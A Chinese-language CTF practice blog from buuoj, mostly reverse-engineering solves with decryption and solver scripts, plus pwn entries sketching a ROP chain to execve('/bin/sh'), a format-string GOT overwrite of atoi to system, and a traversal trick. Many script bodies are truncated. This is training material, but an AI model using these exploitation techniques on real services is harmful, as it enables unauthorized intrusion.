这篇博客记录buuoj上面刷题时学到东西题
[rev][红帽杯2019]xx
找main函数:
有三个参数,也可能两个
下面有个函数使用了main函数的返回值
根据这两个特点
sub1400020F中的这段代码值得注意
1 | register_thread_local_exe_atexit_callback(*v12); |
可以看出sub_140011A0就是main
进入main函数分析
最后检测逻辑
对某个数组进行置换并且置换之后进行了异或
再往前的变换逻辑
用户输入被送进了一个函数,返回值用来做检测
进入那个函数
看起来像tea加密(0x9E3779B9)
想起来加密与解密中介绍了tea的变种,网上搜索,发现是xxtea加密
解密脚本
1 |
|
flag{CXX_and_++tea}
[rev][GWCTF 2019]re3
进入main函数,发现mprotect和SMC(自修改代码)逻辑,使用idapython进行patch
1
2
3
4
5
6st=0x402219
end=st+223
while st<=end:
c=Byte(st)
PatchByte(st,(c^0x99))
st+=1进入sub_402219,找到比对逻辑
0xbc 0xa 0xad 0xc0 0x14 0x7c 0x5e 0xcc 0xe0 0xb1 0x40 0xbc 0x9c 0x51 0xd5 0x2b 0x46 0xb2 0xb9 0x43 0x4d 0xe5 0x32 0x4b 0xad 0x7f 0xb4 0xb3 0x9c 0xdb 0x4b 0x5b
重点在于sub_40196E
这里用到了一个全局变量unk_603170
sub_400B0A逐字节异或从0开始,共16轮
进行替换,替换表为byte_4023A0
0x63 0x7c 0x77 0x7b 0xf2 0x6b 0x6f 0xc5 0x30 0x1 0x67 0x2b 0xfe 0xd7 0xab 0x76 0xca 0x82 0xc9 0x7d 0xfa 0x59 0x47 0xf0 0xad 0xd4 0xa2 0xaf 0x9c 0xa4 0x72 0xc0 0xb7 0xfd 0x93 0x26 0x36 0x3f 0xf7 0xcc 0x34 0xa5 0xe5 0xf1 0x71 0xd8 0x31 0x15 0x4 0xc7 0x23 0xc3 0x18 0x96 0x5 0x9a 0x7 0x12 0x80 0xe2 0xeb 0x27 0xb2 0x75 0x9 0x83 0x2c 0x1a 0x1b 0x6e 0x5a 0xa0 0x52 0x3b 0xd6 0xb3 0x29 0xe3 0x2f 0x84 0x53 0xd1 0x0 0xed 0x20 0xfc 0xb1 0x5b 0x6a 0xcb 0xbe 0x39 0x4a 0x4c 0x58 0xcf 0xd0 0xef 0xaa 0xfb 0x43 0x4d 0x33 0x85 0x45 0xf9 0x2 0x7f 0x50 0x3c 0x9f 0xa8 0x51 0xa3 0x40 0x8f 0x92 0x9d 0x38 0xf5 0xbc 0xb6 0xda 0x21 0x10 0xff 0xf3 0xd2 0xcd 0xc 0x13 0xec 0x5f 0x97 0x44 0x17 0xc4 0xa7 0x7e 0x3d 0x64 0x5d 0x19 0x73 0x60 0x81 0x4f 0xdc 0x22 0x2a 0x90 0x88 0x46 0xee 0xb8 0x14 0xde 0x5e 0xb 0xdb 0xe0 0x32 0x3a 0xa 0x49 0x6 0x24 0x5c 0xc2 0xd3 0xac 0x62 0x91 0x95 0xe4 0x79 0xe7 0xc8 0x37 0x6d 0x8d 0xd5 0x4e 0xa9 0x6c 0x56 0xf4 0xea 0x65 0x7a 0xae 0x8 0xba 0x78 0x25 0x2e 0x1c 0xa6 0xb4 0xc6 0xe8 0xdd 0x74 0x1f 0x4b 0xbd 0x8b 0x8a 0x70 0x3e 0xb5 0x66 0x48 0x3 0xf6 0xe 0x61 0x35 0x57 0xb9 0x86 0xc1 0x1d 0x9e 0xe1 0xf8 0x98 0x11 0x69 0xd9 0x8e 0x94 0x9b 0x1e 0x87 0xe9 0xce 0x55 0x28 0xdf 0x8c 0xa1 0x89 0xd 0xbf 0xe6 0x42 0x68 0x41 0x99 0x2d 0xf 0xb0 0x54 0xbb 0x16
sub_400C1F进行置换 置换表
[0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
sub_400D27自异或操作
v1=s[i*4]
v2=s[i4+1]^s[i4+2]^s[i*4+3]
sub_400CFA 2x^27\(x>>7)
s[i4]=v2^sub_400CFA(s[i4]^s[i*4+1])
s[i*4+1]=v2^sub_400CFA(+1,+2)
s[2]=v2^sub(+2,+3)
s[3]=v2^sub(+3)
再进行异或
循环结束,9轮
替换
置换
异或
看下来是AES加密算法,555我爬了
ECB模式,密钥可以调试获得
1
2
3
4
5
6
7
8from Crypto.Cipher import AES
key = [0xcb,0x8d,0x49,0x35,0x21,0xb4,0x7a,0x4c,0xc1,0xae,0x7e,0x62,0x22,0x92,0x66,0xce]
key = bytes(key)
cipher = [0xbc,0xa,0xad,0xc0,0x14,0x7c,0x5e,0xcc,0xe0,0xb1,0x40,0xbc,0x9c,0x51,0xd5,0x2b,0x46,0xb2,0xb9,0x43,0x4d,0xe5,0x32,0x4b,0xad,0x7f,0xb4,0xb3,0x9c,0xdb,0x4b,0x5b]
cipher = bytes(cipher)
aes = AES.new(mode=AES.MODE_ECB,key=key)
print(aes.decrypt(cipher))
[rev][ACTF新生赛2020]Oruga
迷宫问题
规则:
WEMJ分别代表上右下左
如果上次的方向是上,这次还是上,则改为右,以此类推
如果当前的位置是0,则一直沿同一方向向前走直到越界或不是0
如果遇到非0,则停在非0单位面前
最终走到0x21的位置,初始位置是0
actf{MEWEMEWJMEWJM}
打印迷宫函数
1 | a = [0x00,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x23,0x23,0x23,0x23,0x00,0x00,0x00,0x23,0x23,0x00,0x00,0x00,0x4f,0x4f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4f,0x4f,0x00,0x50,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x4f,0x4f,0x00,0x4f,0x4f,0x00,0x50,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x4f,0x4f,0x00,0x4f,0x4f,0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x4c,0x00,0x4f,0x4f,0x00,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4f,0x4f,0x00,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4d,0x4d,0x4d,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4d,0x4d,0x4d,0x00,0x00,0x00,0x00,0x45,0x45,0x00,0x00,0x00,0x30,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x00,0x00,0x00,0x00,0x45,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x45,0x45,0x54,0x54,0x54,0x49,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x00,0x00,0x00,0x00,0x45,0x00,0x00,0x54,0x00,0x49,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x00,0x00,0x00,0x00,0x45,0x00,0x00,0x54,0x00,0x49,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x21,0x00,0x00,0x00,0x45,0x45] |
[rev]equation
自写脚本解不动了,使用大佬的正则表达式
1 | function deEquation(str) { |
然后解析使用python脚本z3一跑
1 | from z3 import * |
flag{A_l0ng_10NG_eqU4Ti0n_1s_E4Sy_W1Th_z3}
感觉实际解的话使用栈模型看括号似乎比较容易。
js才是世界上最好的语言。。
参考资料 BUUCTF–equation_Hk_Mayfly的博客-CSDN博客
[rev]easy strcmp
使用IDA打开,发现虚假的main函数
进行调试,在puts下断点,找到主函数位于0x55555555481e附近
反编译程序,查看源码
在puts之前一些地方下断点,重新调试
强制gdb反汇编某个地方
当gdb接收一个参数时,gdb会尝试反汇编包含那个地址的函数
当gdb接受两个参数时,gdb会尝试反汇编那个区间的代码
disassambly start,end
disassambly start,+len
发现程序主逻辑:把用户输入加上一些偏移量与加密字符串比较c++
1 |
|
[rev][安洵杯 2019]crackMe
程序使用了一些异常处理的手法
base64表进行了变换
加密4个6位字符都+24了
类base64编码之前还有个变换
对于输入的变换:使用了SM4国密算法
1 | import base64 |
[rev][2019红帽杯]childRE
利用用户的输入建立一棵树(层序顺序)
后续遍历1.建立的树
使用UnDecorateSymbolName进行反修饰
利用查表的方式替换outputString,逐一比对
outputString获取脚本
1 | tab = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;\x27ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./' |
修饰代码
1 |
|
放入VS运行即可得到修饰后的字符串
?My_Aut0_PWN@RopXX@@QAEPADPAE@Z
根据后续遍历反向构造输入
Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP
1 | print(hashlib.md5(b'Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP').hexdigest()) |
参考资料
re | [2019红帽杯]childRE - Mz1 - 博客园 最后那里由于粗心错了一位
第18天:红帽杯2019-childRE_S1lenc3的博客-CSDN博客 本篇博客提供了修饰代码
[rev][MRCTF2020]PixelShooter
找到Assemably-CSharp.dll,丢进dnspy
直接一个一个类找,找到GameController,看到初始分数相关信息,把初始分数改到很大,击碎飞机得分改到很大
重新编译apk,安装即可得到flag
其它c#逆向工具:ILSpy, dotpeek
[rev]
使用IDA打开,发现是ollvm混淆过的,在GitHub上面找到deflat脚本
GitHub - cq674350529/deflat: use angr to deobfuscation
执行
1 | python3 deflat.py -f att --addr 0x400620 |
得到att_recovery,继续分析
删除无用语句,得到
1 |
|
分析写出逆向脚本
1 |
|
flag{6ff29390-6c20-4c56-ba70-a95758e3d1f8}
[rev][安洵杯 2019]game
IDA打开,发现被ollvm 混淆过了
使用deflat把能去混淆的都去混淆
函数功能
blank_num 返回0的数量
sudoku int[9][9]
mem_alloc 分配输入*48大小的内存
general_inspection 检测是否符合规则
check1 交换i,i+len/2的值
然后i,i+1交换
然后a[i]=(a[i]&0xF3|~a[i]&0xC)-20
check3 检查&打印结果
check2 进行最后一步变换(转化为数字)并且检查和sudoku数组是否相等
最后一个trace无法deflat,
手撸发现可以直接调试
1 |
|
[rev][ACTF新生赛2020]SoulLike
前4个字节为actf
长度为11
验证函数超级大
rbp-0x58保存用户输入指针
angr一把梭(因为看了这个函数之后,发现无非就是异或相加之类的,很适合angr去求解)
actf{b0Nf|Re_LiT!
1 | import hashlib |
看了wp之后发现自己粗心了,如果错了会告诉哪一位错了,所以可以按位爆破
[rev][网鼎杯 2020 青龙组]bang
梆梆加固
使用frida脱壳GitHub - GuoQiang1993/Frida-Apk-Unpack
网上有个之前的方法,具体看了一下,那个梆梆加固似乎没调用OpenMemory函数,所以通过hook OpenMemory函数已经不管用了。这个最新版的Hook了OpenCommon。似乎也是我手机的问题,Android 7。具体要等后续手动分析壳
过程:通过 /proc/pid/maps查看应用对应的映射,找到相应的库,使用IDA分析
使用dex2jar分析
得到flag
flag{borring_things}
[rev][SCTF2019]Strange apk
前12个base64编码
然后取奇数号字符
sctf{W3lc0me~t0_An4r0id-w0rld}
[rev]Dig the way
以文件作为输入
注意文件是可能覆盖v8的
v8[3]=0&&v8[3]=func3(v8,2,3)=abs(v8[3])-abs(v8[3]+v8[2])+abs(v8[2])+2
v8[2]=func2(v8,1,2)=abs(v8[1]+v8[2])-abs(v8[2])-abs(v8[1])+2
v8[1]=1
swap(v8[0],v8[1])
发现不可能满足条件,遂寻找wp
第一次循环交换的是v8[v12]和v8[v13],所以可以直接覆盖v12和v13,达成函数的交换
v8[2]=abs(v8[1])+abs(v8[2])-abs(v8[1]+v8[2])+2
v8[3]=abs(v8[2]+v8[3])-abs(v8[2])-abs(v8[1])+2
经过计算v8[2]=1,v8[3]=-1
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
00000000 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
00000016 3F 3F 3F 3F 33 33 33 33 33 33 33 33 01 00 00 00
00000032 FF FF FF FF 07 00 00 00 08 00 00 00
flag: 8cda1bdb68a72a392a3968a71bdb8cda
[rev][SCTF2019]creakme
进入程序
跟踪输入发现AES算法(使用PEID扫描也可以)
调试发现初始向量,密钥扩展函数找到密钥
密文使用base64加密了
1 | import hashlib |
[rev][GKCTF2020]EzMachine
IDA搜索字符串发现不了什么,但是命令行有输出,在导入表里面发现WriteFile和WriteConsoleW
分别在这两个函数位置下断点,发现程序使用WriteFile输出
程序似乎加了壳,可以使用调试器加载,然后在要输出plz input的时候使用Scylla插件dump下来继续分析
WriteFile断下后,回溯分析,找到主函数D61580
发现这是个虚拟机程序
流程
小写字母全部异或71后+1
大写字母全部异或75后-1
所有字符都除16,商和余数保存
1 | import hashlib |
flag{Such_A_EZVM}
[web][HCTF 2018]WarmUp
- 打开注释,发现source.php
- 发现hint.php
- 要求在白名单内
- 需要目录穿越
flag{5cae09d5-ee32-4ee4-806a-519032a92250}
[rev][SCTF2019]babyre
flag存在3段
第一段是走一个三维迷宫,实在懒得走了,写了个脚本,深度优先搜索走迷宫,结果脚本找到了程序的另一条路= =
明白了,这一问是基于三维迷宫做的,所以应该改进脚本基于三维迷宫
第二段flag是base64解码,所以只需要把base64编码的那段东西放进去就行
第三段是仿sm4加密
这里太不认真了ROR6看成了ROL6
脚本
1 |
|
sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}
[rev][WUSTCTF2020]funnyre
进入主函数
发现一大堆xor,add,++,~处理
拷贝所有反编译后的代码,使用正则表达式处理,得到以下一些东西
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353^=0x91
^=0xCD
^=0x6A
^=0x59
^=0xA
^=0xF3
^=0xCA
^=0x3E
^=0x6C
^=0x4F
^=0x24
^=0x83
^=0xC4
^=0x53
^=4
^=0x9E
^=0x42
^=0xE
^=0x8D
^=0x38
^=0x7A
^=0xDD
^=0x52
^=0x1B
^=0xAA
^=0xAE
^=0xF8
^=0x58
^=0xF2
^=0x9F
^=0x3C
^=0xA1
^=6
^=0x78
^=0x70
^=0x28
^=0xEA
^=0x48
^=0xE4
^=0x6E
^=0x40
^=0x89
^=0x16
^=0xD7
^=0xB5
^=0xD
^=0x17
^=0x5A
^=0xB1
^=0x69
^=0x5C
^=0x21
^=0xE5
^=0x7E
^=0x2A
^=0x94
^=0xBC
^=1
^=0x74
^=0x57
^=0x6D
^=0x1E
^=0xA2
^=0x6B
^=0x22
^=0xC2
^=0x3D
^=0x44
^=0x90
^=0x8C
^=0xB3
^=0xA6
^=0x79
^=0x61
^=0xD9
^=0x5B
^=0x1A
^=0x43
^=0x8F
^=0xA5
^=0xEE
^=0x25
^=0x46
^=0xE6
^=0x88
^=0x20
^=0x71
^=0xE8
^=9
^=0x8A
^=0x7B
^=0xB4
^=0x19
^=0x15
^=0x4A
^=0x47
^=0xDB
^=0x72
^=0x5F
^=0x26
^=0xA7
^=0x8B
^=0xBA
^=0xBF
^=0x87
^=0x36
^=0x3F
^=0xFE
^=0x77
^=0x1C
^=0x81
^=0x11
^=0x2E
^=0x7C
^=0x63
^=0x45
^=0xF4
^=0x56
^=0xF1
^=0xB0
^=0xD1
^=0xE0
^=0xF
^=0x93
^=0xD6
^=0x1F
^=0xCC
^=0x4B
^=0xCF
^=0xDF
^=0x55
^=0xB9
^=0x2B
^=0x85
^=0x31
^=0x29
^=0xFD
^=0x3A
^=0x5E
^=0xDE
^=3
^=0xC6
^=0xC1
^=0xC5
^=0x54
^=0xBB
^=0xFC
^=0xBE
^=0xEC
^=0xC0
^=0xAD
^=0xA4
^=0xD0
^=0x35
^=0xB7
^=0x51
^=0xAB
^=0x2D
^=0xAF
^=0x92
^=0x60
^=0xAC
^=0x30
^=0xD4
^=0xCB
^=0x9B
^=0x9A
^=0xFB
^=0x6F
^=0xF7
^=0x8E
^=0xA0
^=0x27
^=0xC9
+=-128
^=0x7D
^=0x9D
^=0x1D
^=0xDA
^=0xD8
^=0xEB
^=0xF6
^=0xE3
^=0x98
^=0xE1
^=0x34
^=0x82
^=0x7F
^=0xD5
^=0xE7
^=0xB8
^=0xDC
^=0x97
^=0xA3
^=7
^=0xB6
^=0xB
^=0x14
^=0xCE
^=0x66
^=0x62
^=0xEF
~
^=0xF9
^=0xA9
^=0x4E
^=0xD3
^=0xC7
^=0xE2
^=0xD2
^=0x33
^=0xA8
^=0x96
^=0xBD
^=0xC
^=0x13
^=0x2F
^=0x73
^=0x65
^=0x9C
^=0x12
^=2
^=0x32
^=0x10
^=0x84
^=0xED
^=0x95
^=0x4D
^=0x75
^=0x2C
^=0x5D
^=0x39
^=0x18
^=0x4C
^=0x49
^=0x37
^=0xF0
^=0x99
^=0x41
^=0x86
^=0x76
^=0xF5
^=5
^=0xC8
^=0x64
^=0xFA
^=0x50
^=0x3B
^=8
^=0xE9
^=0x23
^=0xC3
^=0x68
^=0x67
+=80
+=64
+=79
+=30
+=91
+=9
+=5
+=99
+=87
+=83
+=59
+=58
++
+=90
+=57
+=65
+=53
+=41
+=85
+=89
+=44
+=70
+=12
+=84
+=10
+=74
+=17
+=38
+=43
+=33
+=11
+=94
+=86
+=55
+=32
+=97
+=68
+=50
+=67
+=71
+=96
+=56
+=6
+=73
+=52
+=42
+=61
+=69
+=14
+=75
+=4
+=40
+=37
+=15
+=77
+=2
+=23
+=62
+=29
+=49
+=47
+=27
+=66
+=82
+=46
+=19
+=88
+=63
+=39
+=35
+=25
+=51
+=18
+=92
+=95
+=3
+=72
+=48
+=36
+=93
+=76
+=22
+=98
+=81
+=13
+=45
+=34
+=78
+=26
+=54
+=28
+=31
+=20
+=16
+=7
+=24
+=60
+=21
+=8比对的数据在后面可以找到
写脚本反处理
1 | import hashlib |
也可以使用IDAPython处理,也可以angr符号执行= =
[rev][GUET-CTF2019]encrypt
rc4加密
类base64加密,只不过是加上61
1 | import hashlib |
1 |
|
[pwn]ciscn_2019_c_1
ROP
- 使用puts函数打印puts的加载地址
- 获取到puts的地址后,再次布置栈,达到系统调用
execve系统调用号为59,参数为execve(“/bin/sh”,0,0);
“/bin/sh”libc中有
elf.got[‘puts’]内存放puts的地址,symbols是对应的函数的地址
使用dynELF查libc版本或LibcSearcher(我的查找到之后要选择第一个)
如果是Ubuntu18,需要一个ret才可以对齐
1 | from pwn import * |
[rev] [MRCTF2020]EasyCpp
gdb加载基址指从相应段,如果实在找不到可以通过edb查看,或搜索内存中的特征串,然后通过偏移找到相关地址
有几个lambda函数,可以点进去查看的
输入9个数,存入vector
第一个lambda函数把每一个数异或1
第二个lambda找到每一个数的所有因数
0换成O,1–>l,2–>z,3–>E,4–>A,5–>s,6–>G,7–>T,8–>B,9–>q, (空格)–>=
最后提交的md5应该是大写,又不细心了= =
1
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
void printArray(const char* name, uint8_t* data, size_t len) {
printf(“==============%s========”, name);
for (size_t i = 0; i < len; i++) {
if (!(i % 16))printf(“\n”);
printf(“0x%02x,”, data[i]);
}
printf(“\n================================\n”);
}
int main() {
char s[][256] = {“=zqE=z=z=z”,”=lzzE”,”=ll=T=s=s=E”,”=zATT”,”=s=s=s=E=E=E”,”=EOll=E”,”=lE=T=E=E=E”,”=EsE=s=z”,”=AT=lE=ll”};
char tab[256];
tab[‘=’] = ‘ ‘;
tab[‘O’]=0;
tab[‘l’]=1;
tab[‘z’]=2;
tab[‘E’]=3;
tab[‘A’]=4;
tab[‘s’]=5;
tab[‘G’]=6;
tab[‘T’]=7;
tab[‘B’]=8;
tab[‘q’]=9;
uint32_t num[9]={0};
for(size_t i=0;i<9;i++){
char *ss = s[i];
num[i]=1;
uint32_t t = 0;
for(size_t j=1;j<strlen(ss);j++){
if(ss[j]=='='){
num[i]*=t;
t=0;
}else{
t=t*10+tab[ss[j]];
}
}
num[i]*=t;
num[i]^=1;
}
for(size_t i=0;i<9;i++){
printf("%d ",num[i]);
}
printf("\n");
return 0;
}
1 | ## [rev][QCTF2018]Xman-babymips |
实际上是加载了第counter个输入
off_input=off_counter+4
- input[i]^=(i-0x20)
- 奇数位循环右移2位,偶数位循环左移2位
1 | import hashlib |
[pwn][OGeek2019]babyrop
程序产生随机数,读取用户输入,如果用户输入和随机数相等,则可以有exp
呼,可以让buf=0,然后比对的字符数就是0,可以跳过认证
构造ROP链,先泄露write地址以便找到libc_base,然后利用
1 | from pwn import * |
[rev][SCTF2019]Who is he
- 找Assembly-CSharp.dll,反编译的答案,错的
- 看wp,感觉很离谱
- 使用CE搜索Emmm,找到两处字符串,查看此时的Memory View,分别转到两个字符串,发现两个base64串和两个4字节的字符串,分别尝试,第二个成功了= =
- 需要学习C#加密相关操作,另外吐槽x64dbg的字符串搜索不怎么好用。。
- 继续使用CE在内存中翻找,可以找到PE头,把dll dump下来,和结果内容基本一致
- dnspy调试unity也需要学习
1 | import hashlib |
参考资料
[1] 2019SCTF – ctfwp
[rev][NPUCTF2020]Baby Obfuscation
F0X1
辗转相除法求a,b最大公约数
F0X4
(a + b)=~(-a+b-1)=-(b-a-1)-1=a-bF0X5
快速幂
F0X3
a&&b
F0X2
!a&&!b
for循环
第一个if
v33[j]=
(str[j-1]+v35[(j-1)%4+4])=str[j-1]-v35[(j-1)%4+4]第二个if不可能执行
第三个if
v33[j]^=v35[(j-1)%4+4]
第四个if必不执行
v33[j]*=10
字符串长度为15
比对
(A0X6[k+1]-1)/10==v33[k]
1 |
|
[rev][De1CTF2019]Re_Sign
- UPX加壳了,可是upx官方版说没加壳,使用upx官方版加壳又说加壳了= =,只好手动脱壳。具体操作为pushad之后栈上下硬件断点,F9到popad之后有个long jmp,jmp之后再单步调试法找到OEP在0x401000。之后使用Scylla插件dump内存为可执行文件,并且dump之后fix_dump
- 程序使用了什么库(搜不到),只能一步一步尝试
- 关键函数
- 401233使用了换表base64编码,调试发现的,具体生成表操作在401615到4016F0之间
- 402160再找到字母在标准b64表中的位置
1 | import hashlib |
[rev]HellScream
1 | typedef struct BigInteger{ |
4019F0 a1的元素左移4位copy到a2上
401940 a2的元素加到a1第一个dword上,溢出则溢出部分加到第二个数上面,以此类推
从这里看出实现了一个大整数运算库
406330 把int值转化成对应的base16串,小端字节序
405310 把BigInteger放入数组
406230 直接把字符串放入username对应的结构体data字段
4020E0 根据406330得出大概是mod(),并且有三个参数,分别是被除数(也是余数的存放位置),商存放位置,除数
403E30 猜测是mod n
4018E0 复制String
401910 将a1初始化为String且初始值为a2
401510 check函数
- 最终input=Happy Birthday Buddy
- 核心逻辑似乎在401000
- 4062A0 把结构体中的数据提取到input
- 4064D0 pow mod n
看题解了,RSA算法
1 | import hashlib |
[rev]Snake
总是纠结于Assembly-CSharp.dll,实际上flag不在里面啊555
- 查看各个类,发现有个Interface类是C代码写的,所以应该找到这个Interface,使用IDA打开
- 然后查看各个方法的参考,其中GameObject在Move中被调用,传入的参数为x,y坐标,所以不会很大,观察常量为199
- 直接加载dll爆破flag即可
- 查看dll,利用了大整数库,应该是公钥加密之类的
1 |
|
flag{Ch4rp_W1th_R$@}
[rev][HDCTF2019]MFC
MFC程序逆向
- 程序加了VMP,一时半会儿弄不出来
- 使用xspy得到一个奇怪的消息码:0x464
- 使用对应的消息码给程序发消息,得到一个des key
- 使用CE搜索Flag,发现上方不远处有一串字符串,就是加密过的文本
1 |
|
http://tool.chacuo.net/cryptdes
[pwn][第五空间2019 决赛]PWN5
printf可以实现任意地址读写
任意地址写的payload可以使用fmtstr_payload方法生成
1
在随机数出写入自定义的值
1 | from pwn import * |
2
修改atoi函数的got表指向system,然后传/bin/sh
1 | from pwn import * |
3
读取随机数的值,然后填那个值,需要注意符号。很不稳定,容易出现溢出,比如说正负数问题,只有在随机数为正时可以pwn
1 | from pwn import * |
参考资料
[rev][ACTF新生赛2020]Splendid_MineCraft
自修改代码
- 第一段flag验证的函数开头有个自修改,直接patch之后更改跳转地址
- 第二段的比较,当时傻了,每一个byte都可以找任意地址的,然后找到地址的差
- 第三段直接明文比较
1 |
|
参考资料
[1] buuoj[ACTF_Junior_2020]Splendid_MineCraft WriteUp
[rev][SUCTF2019]hardcpp
- deflat去混淆
- 分析函数功能
- v21=随机值
- s[0]=’#’
- s[v19]=enc[v19-1]
- v21非1即0
1 |
|
[rev][BJDCTF 2nd]diff2
存在整数溢出
1 | for ( i = 0; buf2[i] + buf1[i] && i < 0x400; ++i ) |
这里如果buf[2]+buf[1]溢出为0,则产生误判
另外学习了scp传输文件
1 | import sys |
[rev]
穷举一把梭
逆向算法
1 | import hashlib |
[rev][GWCTF 2019]babyvm
虚拟机
操作码
1
0xf5, 0xf1, 0xe1, 0x0, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x20, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x1, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x21, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x2, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x22, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x3, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x23, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x4, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x24, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x5, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x25, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x6, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x26, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x7, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x27, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x8, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x28, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x9, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x29, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xa, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2a, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xb, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2b, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xc, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2c, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xd, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2d, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xe, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2e, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xf, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2f, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x10, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x30, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x11, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x31, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x12, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x32, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x13, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x33, 0x0, 0x0, 0x0, 0xf4, 0x0, 0x0, 0x0,
然而解出来不对,真正的操作码在这里
1
